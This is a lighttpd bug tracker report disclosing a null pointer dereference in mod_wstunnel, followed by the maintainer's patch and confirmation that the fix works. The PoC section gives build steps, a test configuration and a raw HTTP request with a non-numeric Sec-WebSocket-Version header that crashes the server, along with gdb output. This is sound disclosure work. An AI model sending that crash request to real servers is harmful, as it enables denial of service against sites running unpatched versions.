Bug #3165 CLOSED

mod_wstunnel null pointer dereference

Added by mmmds 4 months ago. Updated 4 months ago.

Status:	Fixed
Priority:	Normal
Category:	-
Target version:	1.4.66
ASK QUESTIONS IN Forums:	No

Description

There's a null pointer dereference bug that crashes the whole server if mod_wstunnel is enabled and the server receives invalid HTTP Websocket Handshake request. This issue could be abused by a remote attacker to cause Denial of Service condition.

The vulnerability was detected on Ubuntu 22.04 x86_64:
- lighttpd 1.4.65 built from source
- lighttpd 1.4.63 installed from ubuntu repository
- lighttpd 1.4.66 from github (master, 5d80e41ab2585288b0bbe0ebf8f3e3b120a0f403)

In the "wstunnel_handler_setup" function, the server verifies a request and if it's valid, it initializes handler functions. If the request has invalid (not a number) value in the "Sec-WebSocket-Version" header, it sets http status to 400 and exits the function without setting "hctx->create_env" function pointer. Then, the server reaches to the "gw_write_request" function where it tries to call "hctx->create_env(hctx)", however, the "hctx->create_env" value is null leading to crash.

mod_wstunnel.c:

```
static handler_t wstunnel_handler_setup (request_st * const r, plugin_data * const p) {
    handler_ctx *hctx = r->plugin_ctx[p->id];
    int hybivers;
    hctx->errh = r->conf.errh;/*(for mod_wstunnel-specific DEBUG_* macros)*/
    hctx->conf = p->conf; /*(copies struct)*/
    hybivers = wstunnel_check_request(r, hctx);
    if (hybivers < 0) return HANDLER_FINISHED;
   [...]
    hctx->gw.create_env       = wstunnel_create_env;
    hctx->gw.handler_ctx_free = wstunnel_handler_ctx_free;
```

```
static int wstunnel_check_request(request_st * const r, handler_ctx * const hctx) {
    const buffer * const vers =
      http_header_request_get(r, HTTP_HEADER_OTHER, CONST_STR_LEN("Sec-WebSocket-Version"));
    const long hybivers = (NULL != vers)
      ? light_isdigit(*vers->ptr) ? strtol(vers->ptr, NULL, 10) : -1
      : 0;
    if (hybivers < 0 || hybivers > INT_MAX) {
        DEBUG_LOG_ERR("%s", "invalid Sec-WebSocket-Version");
        r->http_status = 400; /* Bad Request */
        return -1;
    }
```

gw_backend.c:

```
static handler_t gw_write_request(gw_handler_ctx * const hctx, request_st * const r) {
    switch(hctx->state) {
[...]
    case GW_STATE_PREPARE_WRITE:
        /* ok, we have the connection */

        {
            handler_t rc = hctx->create_env(hctx);
            if (HANDLER_GO_ON != rc) {
```

PoC:

1. Download and build the server from source:

```
$ wget https://download.lighttpd.net/lighttpd/releases-1.4.x/lighttpd-1.4.65.tar.gz
$ tar zxf lighttpd-1.4.65.tar.gz
$ cd lighttpd-1.4.65/
```

```
$ cmake -DCMAKE_INSTALL_PREFIX=/usr/local -Wno-dev .
$ make -j 4
$ sudo make install
```

2. Prepare configuration

/home/osboxes/echo.pl:

```
#!/usr/bin/perl -Tw
$SIG{PIPE} = 'IGNORE';
for (my $FH; accept($FH, STDIN); close $FH) {
    select($FH); $|=1; # $FH->autoflush;
    print $FH $_ while (<$FH>);
}
```

/home/osboxes/webroot/ws.html:

```
<!DOCTYPE html>
<!-- modified from example in https://github.com/joewalnes/websocketd README.md -->
<pre id="log"></pre>
    <script>
          // helper function: log message to screen
          var logelt = document.getElementById('log');
  function log(msg) { logelt.textContent += msg + '\n'; }
  // helper function: send websocket msg with count (1 .. 5)
  var ll = 0;
  function send_msg() { if (++ll <= 5) { log('SEND: '+ll); ws.send(ll+'\n'); } }
  // setup websocket with callbacks
  var ws = new WebSocket('ws://localhost:3000/ws/');
  ws.onopen = function()         { log('CONNECT\n'); send_msg(); };
  ws.onclose = function()        { log('DISCONNECT'); };
  ws.onmessage = function(event) { log('RECV: ' + event.data); send_msg(); };
    </script>
```

/home/osboxes/server.conf:

```
server.document-root = "/home/osboxes/webroot"
server.port = 3000
mimetype.assign = (
  ".html" => "text/html",
)

server.modules += ("mod_wstunnel")
wstunnel.server = (
  "/ws/" => (
    (
      "socket" => "/dev/shm/psock",
      "bin-path" => "/home/osboxes/echo.pl",
      "max-procs" => 1
    )
  )
)
```

3. Run the server

```
$ lighttpd -D -f ~/server.conf
```

4. Optional - open a website in a browser to confirm that websocket configuration works

```
$ firefox http://localhost:3000/ws.html
```

5. Optional - send valid request

```
$ echo -e "GET /ws/ HTTP/1.1\r\nHost: localhost\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Extensions: permessage-deflate\
Connection to 127.0.0.1 3000 port [tcp/*] succeeded!
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Sec-WebSocket-Accept: vdMhuNAtgTQZJEwrIEBtPElq0RM=
Connection: upgrade
Date: Tue, 02 Aug 2022 20:40:38 GMT
Server: lighttpd/1.4.65
```

6. Send invalid request (`Sec-WebSocket-Version: x`) - crash the server

```
$ echo -e "GET /ws/ HTTP/1.1\r\nHost: localhost\r\nSec-WebSocket-Version: x\r\nSec-WebSocket-Extensions: permessage-deflate\r
Connection to 127.0.0.1 3000 port [tcp/*] succeeded!
HTTP/1.1 400 Bad Request
Transfer-Encoding: chunked
Date: Tue, 02 Aug 2022 20:41:13 GMT
Server: lighttpd/1.4.65
```

```
$ lighttpd -D -f server.conf
2022-08-02 16:39:44: (/home/osboxes/lighttpd-1.4.65/src/server.c.1588) server started (lighttpd/1.4.65)
    Segmentation fault (core dumped)
```

```
$ gdb --args lighttpd -D -f server.conf
(gdb) r
Starting program: /usr/local/sbin/lighttpd -D -f server.conf
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
2022-08-02 16:41:47: (/home/osboxes/lighttpd-1.4.65/src/server.c.1588) server started (lighttpd/1.4.65)

Program received signal SIGSEGV, Segmentation fault.
0x0000000000000000 in ?? ()
(gdb) up
#1  0x000055555559d75e in gw_write_request (hctx=0x5555555e3fd0, r=0x5555555e1230) at /home/osboxes/lighttpd-1.4.65/src/gw_ba
1993                handler_t rc = hctx->create_env(hctx);
(gdb) print hctx->create_env
$1 = (handler_t (*)(struct gw_handler_ctx *)) 0x0
(gdb) bt
#0  0x0000000000000000 in ?? ()
#1  0x000055555559d75e in gw_write_request (hctx=0x5555555e3fd0, r=0x5555555e1230) at /home/osboxes/lighttpd-1.4.65/src/gw_ba
#2  0x000055555559dd27 in gw_send_request (hctx=0x5555555e3fd0, r=0x5555555e1230) at /home/osboxes/lighttpd-1.4.65/src/gw_bac
#3  0x000055555559e1f6 in gw_handle_subrequest (r=0x5555555e1230, p_d=0x5555555db1f0) at /home/osboxes/lighttpd-1.4.65/src/gw
#4  0x000055555556a857 in connection_handle_write_state (r=0x5555555e1230, con=0x5555555e1230) at /home/osboxes/lighttpd-1.4.
#5  0x000055555556bd67 in connection_state_machine_loop (r=0x5555555e1230, con=0x5555555e1230) at /home/osboxes/lighttpd-1.4.
#6  0x000055555556c805 in connection_state_machine_h1 (con=0x5555555e1230) at /home/osboxes/lighttpd-1.4.65/src/connections.c
#7  0x000055555556c87d in connection_state_machine (con=0x5555555e1230) at /home/osboxes/lighttpd-1.4.65/src/connections.c:13
#8  0x0000555555566b4c in server_run_con_queue (joblist=0x5555555e1230, sentinel=0x5555555d3b60 <log_con_jqueue>) at /home/os
#9  0x0000555555566c95 in server_main_loop (srv=0x5555555d5540) at /home/osboxes/lighttpd-1.4.65/src/server.c:2011
#10 0x0000555555566e86 in main (argc=4, argv=0x7fffffffe138) at /home/osboxes/lighttpd-1.4.65/src/server.c:2085
```

Discovered by Michał Dardas

History | **Notes** | **Associated revisions**

Updated by gstrauss 4 months ago

- **Status** changed from *New* to *Patch Pending*
- **Target version** changed from *1.4.xx* to *1.4.66*

Thank you for the detailed bug report. How would you / Michał Dardas like to be credited in the commit message?

The following is a quick patch, but I am tracing the code to see if there might be a better patch.

```
--- a/src/mod_wstunnel.c
+++ b/src/mod_wstunnel.c
@@ -485,7 +485,10 @@ static handler_t wstunnel_handler_setup (request_st * const r, plugin_data * con
     hctx->errh = r->conf.errh;/*(for mod_wstunnel-specific DEBUG_* macros)*/
     hctx->conf = p->conf; /*(copies struct)*/
     hybivers = wstunnel_check_request(r, hctx);
-    if (hybivers < 0) return HANDLER_FINISHED;
+    if (hybivers < 0) {
+        r->handler_module = NULL;
+        return HANDLER_FINISHED;
+    }
     hctx->hybivers = hybivers;
     if (0 == hybivers) {
         DEBUG_LOG_INFO("WebSocket Version = %s", "hybi-00");
```

Updated by mmmds 4 months ago

Please credit me as Michał Dardas.

Updated by gstrauss 4 months ago

How does this look to you? https://git.lighttpd.net/lighttpd/lighttpd1.4/commit/971773f1fae600074b46ef64f3ca1f76c227985f

I checked other modules in lighttpd and mod_wstunnel was the only one with this bug.

Technical details: if a module is going to handle a request and generate a response (even an error response), then the module sets r->handler_module. If r->handler_module is set, then the module must configure anything else it needs to handle the request, e.g. `hctx->create_env`, which was not happening in mod_wstunnel for a bad hybivers. Since mod_wstunnel did not intend for mod_wstunnel to generate an error response in that case, the patch above unsets r->handler_module to let the base lighttpd generate an error response.

Updated by mmmds 4 months ago

It looks good. I've tried the patch, the crash no longer occurs.

Updated by gstrauss 4 months ago

- **Status** changed from *Patch Pending* to *Fixed*

Applied in changeset 971773f1fae600074b46ef64f3ca1f76c227985f.